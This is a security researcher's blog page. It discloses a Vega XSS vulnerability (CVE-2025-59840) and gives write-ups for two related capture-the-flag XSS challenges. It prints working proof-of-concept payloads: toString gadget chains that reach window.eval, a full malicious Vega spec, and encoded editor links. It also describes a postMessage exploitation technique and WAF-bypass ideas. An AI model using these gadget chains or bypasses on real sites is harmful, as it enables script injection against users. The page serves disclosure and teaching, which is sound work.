Turb0
Bits, bytes, and bad ideas

Vega CVE-2025-59840: Unusual XSS Technique toString gadget chains

Sat Nov 29 18:36:29 UTC 2025

Vega is an open source visualization library with support for rich custom configurations, including an expression language that gets safely evaluated. The expression language offers limited functionality, and is intended to not allow for arbitrary function call, but only the call of registered Vega Expression Functions. The two challenges leading up to this writeup were both focused on unusual function call mechanisms. If you haven't looked at them, I recommend looking at them first.

Original Report to Vega

Summary

Vega offers the evaluation of expressions in a secure context as part of its functionality. Arbitrary function call is intended to be prohibited. When an event is exposed to an expression, member get of window objects is possible, which seems to be known intended behavior. By creating a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved. In practice, an accessible gadget like this exists in the global VEGA_DEBUG code. It may be exploitable without this requirement via a more universal gadget.

({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1

Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }

      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }
  1. Set u to the result of calling this.eventName with undefined
    • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
  2. Sets d to this._handlers
    • For our object, we have this defined to be used later
  3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
    • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval. In cases where VEGA_DEBUG is not enabled, there may be other gadgets on the global scope that allow for similar behavior. In cases where the AST evaluator is used and there are blocks against getting references to eval, there may be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval).

PoC

Navigate here, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved. https://v5-33-0.vega-628.pages.dev/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1aAApgCYAMrFGjiMiod41SjEGhwWSUABqAFEAOIAQQA+gARcmhACqlIJfEoAGEkOJ8hAABI8hRBZyUHDONgmJotSgSKTBPGYAByZzguOqmAJRJJUAkYiClACfiktJgQpF+GADChcDWWLgClQAHJ4nBnJgkWxXLRxMEANTBAAGwQAGmi0cEJMFSM4zFHAwGKTSGUzWWSqXSKQAlNEASQA8kqAJROyam81u3M2gAe6o+msJxMoVXi4yLfoAjAdjscgA

Additional PoC

Here's a version that should work even with the AST evaluator mode, abusing function call gadgets to get access to window.eval despite the mitigations to prevent this.

https://v5-33-0.vega-628.pages.dev/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1aAApgCYAMrFGjiMiod41SjEGhwWSUABqAFEAOIAQQA+gARcmhACqlIJfDJRJJOGcbBMTRalFpziccEwACUPo4Rc4pMKpXAZag9nA5XAAqgAORVeKatUBUJYhRa+KKzBItiuWjiYIAamCAANggANNFo4ISYKkZxmT0O+0UmkMpmsslUukU8VogCSAHkAHIASj1WLoNHiFjguOqmAJXLDQcZLLZpAolElUMVisoPL5fJ+QoCbEucqbl0V2Y+ucJxPGidtAEYDsdjkA

({
	toString: event.view.VEGA_DEBUG.vega.View.prototype._resetRenderer,
	_renderer:true,
	_el: 'eval',
	_elBind: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)',
	initialize: event.view.VEGA_DEBUG.vega.Renderer.prototype._load,
	_loader: event.view
})+1

This uses _resetRenderer() as a "call a function with two arguments we control" gadget, and then _load(a,b) as a "call this._loader[a](b)", where we make sure this._loader is window, calling window['eval']('attacker string').

Further Exploration

What if there was a built in function that would act as a "win" this.foo(this.bar) gadget for us instead of having to rely on whatever custom functions happen to be accessible on the global window? I spent some time looking at v8 builtin implementations, but there are a ton of globally scoped built in browser specific functions that I was missing. I thought about it for a bit, and decided that this is the kind of thing Jorian (go read everything he's ever written, it's all so good) would be interested in. Jorian is such an interesting hacker that when writing this, I got derailed by a three hour web browser rabbit hole just from navigating to his site to get the URL to link here.

Fuzzing for a universal gadget

I had really bad ideas around static analysis of browser code (or even worse, static analysis of dumped JIT code at runtime to back these functions), but that sounded really hard and complicated. Jorian had the great idea of fuzzing for this. We found some interesting behaviors that are cool to know about regarding member gets of this when calling certain globally scoped functions, but ultimately did not find a universal "win" gadget. Some iterator and regex related functions could lead to additional function call, some code paths in the torque implementations for some of the v8 builtins looked promising, but ultimately, we did not find a universal gadget that would call this.foo(this.bar) to gain function call argument control.

If you are interested in exploring this further, or understanding how this was done, here is a crappy modified version of Jorian's BFS JS object exploration code with a Proxy wrapped object to intercept all member gets after implicit toString call with each discovered function accessible from the global window object.

WAF Bypass applications

I played with this style of function call a bit on a target with really strict restrictions behind a WAF known for being strict. Getting function call was really tricky. Any use of backticks or parenthesis would get blocked, as well as some of the other common workarounds to get function call. I did find I was able to get argumentless global window function call with something like ~{valueOf:someGlobalFunc}, which is pretty interesting. There are likely scenarios where this kind of strategy could be fruitful for WAF bypasses.


Challenge Two: Writeup For Stranger XSS

Sat Nov 29 18:36:29 UTC 2025

This challenge has two pages, a fairly functionless outer page, and an inner page with a postMessage listener that performs some rich hydration of an object before using it to make a mocked post request to a non existent API endpoint with a body derived from the message. There is no origin check on the listener, the page is frameable, and there is not much else going on here, so it is clear that the way to achieving the XSS involves framing the inner.html page from an attacker page and sending it crafted messages.

Understanding the inner.html loaded JavaScript files

This page loads three JavaScript files. A jQuery library, a lodash library, and a custom inner.js file. The custom inner.js file has the relevant logic for registering a sketchy looking postMessage handler.

Understanding the hydration functionality

The inner.html page has the following custom JavaScript to implement a postMessage event handler. inner logic

The message event is passed to a rehydration function that takes a list of from and to mapping values from the message data and uses lodash's get method to get a potentially nested property from the event and assign it as a value to event.data.base.reqBody[to]. Notably, this is getting a potentially nested value from the event, not event.data. This oversight allows for very interesting behavior. By reading a property from event.target, we can read from the global window object of the inner.html page. This allows us to set a wide variety of values on the event.data.base.reqBody object before it gets used later in the code. Interestingly, it is not stringified later in the code, and instead is passed as a raw object to fetch as the body. This behavior is incorrect and will lead to toString being implicitly called on the object, returning "[object Object]" instead of the likely intended behavior.

Achieving XSS

There are two crucial pieces here that allow this strange code to lead to XSS. The first being the ability to copy properties from window to controlled values of the event.data.base.reqBody object. The second being the implicit toString call of event.data.base.reqBody when it is incorrectly passed to fetch.

By abusing this implicit toString call, we can copy a function from the global window object to reqBody.toString and be able to execute functions in the global scope without argument control, and with this referring to reqBody when they execute. Unfortunately, most of the interesting functions we may want to call, like document.write, or alert do not allow invocation with an improper this object, and instead would have to be bound to document and window respectively if called this way.

illegal invocation

However, given that we control the this value, we can look for gadget functions on the global scope that do something like the following hypothetical winExample function:

win example

If a function like this existed on the global scope, it would be a gadget that would allow us to achieve function call of another arbitrary function from the window with an arbitrary argument. Fortunately, both the lodash and jQuery libraries are loaded on this page and exposed on the global scope. After examination of certain jQuery libraries, we can find a candidate gadget function exposed at $.fn.addBack.

add back

The jQuery addBack function takes an argument, which when invoked via implicit toString will always be undefined, and calls this.add() with the value of this.prevObject if the provided argument is null. This is exactly the gadget we need to turn implicit toString call into useable XSS. A crafted object like the following will lead to code execution.

add back eval

Putting all of these ideas together, we can build out a postMessage body that will result in a crafted object being created that leads to execution of arbitrary JavaScript when being implicitly converted to a string.

Full payload

A full payload to accomplish this can be seen here.

chal 2 poc

It abuses the postMessage listener to copy the $.fn.addBack gadget to event.data.reqBody as toString, as well as set eval to its add property, so that when the addBack gadget is called, the eval function set as add is called with the prevObject string containing the arbitrary JavaScript to execute.


Challenge Two: Stranger XSS

Sat Nov 22 18:36:29 UTC 2025

The following challenge page frames an inner.html page that is vulnerable to XSS. Frame the inner.html page from an attacker page and get JavaScript execution inside of it. Try not to share solutions too publicly. In one week, a writeup will be published as well as a writeup on a vulnerability in an open source library that uses the relevant ideas here to achieve XSS.

Challenge Two

Special thanks to @xssdoctor and @J0R1AN for beta testing and finding unintended solutions.


Challenge One: Strange XSS Writeup

Sat Nov 22 18:36:29 UTC 2025

This challenge has two pages, a fairly functionless outer page, and an inner page with a postMessage listener that performs some rich hydration of an object before using it to make a mocked post request to a nonexistent API endpoint with a body derived from the message. There is no origin check on the listener, the page is frameable, and there is not much else going on here, so it is clear that the way to achieving the XSS involves framing the inner.html page from an attacker page and sending it crafted messages.

Understanding the hydration functionality

The inner.html page has the following custom JavaScript to implement a postMessage event handler. inner logic

The message event is passed to a rehydration function that takes a from and to value from the message data and uses lodash's get method to get a potentially nested property from the event and assign it as a potentially nested value to the event.data.base object with lodash's set method. Notably, this is getting a potentially nested value from the event, not event.data. This oversight allows for very interesting behavior. By reading a property from event.target, we can read from the global window object of the inner.html page. This allows us to set a wide variety of values on the event.data.base object before it gets passed to JSON.stringify later in the code.

Achieving XSS

There are two crucial pieces here that allow this strange code to lead to XSS. The first being the ability to copy a property from window to a nested value on the event.data.base object. The second being the call to JSON.stringify on the hydrated version of event.data.base.

Per the MDN docs, we can see that JSON.stringify will conditionally call nested or top level toJSON functions on objects being passed to JSON.stringify, potentially even with a controllable string as the first argument in nested cases.

mdn docs

This allows us to craft a payload that copies event.target.eval to event.data.base as a somejstoexecute.toJSON property. This will lead to the creation of an object like the following:

chal 1 hydrated

This object when passed to JSON.stringify will have its nested toJSON function called with the property name of the parent object, leading to eval being called with alert(origin).

Full payload

A full payload to accomplish this can be seen here.

chal 1 poc

It abuses the postMessage listener to copy eval onto the object being stringified in such a way that it gets called as the toJSON function with an attacker controlled string passed as the first argument, leading to XSS.


Challenge One: Strange XSS

Sat Nov 15 18:36:29 UTC 2025

The following challenge page frames an inner.html page that is vulnerable to XSS. Frame the inner.html page from an attacker page and get JavaScript execution inside of it. Try not to share solutions too publicly. In one week, a writeup will be published and a second challenge will be released. A week after that a writeup for the second challenge will be released, as well as a writeup on a vulnerability in an open source library that uses the relevant ideas here to achieve XSS.

Challenge One

Special thanks to @xssdoctor and @J0R1AN for beta testing and finding unintended solutions.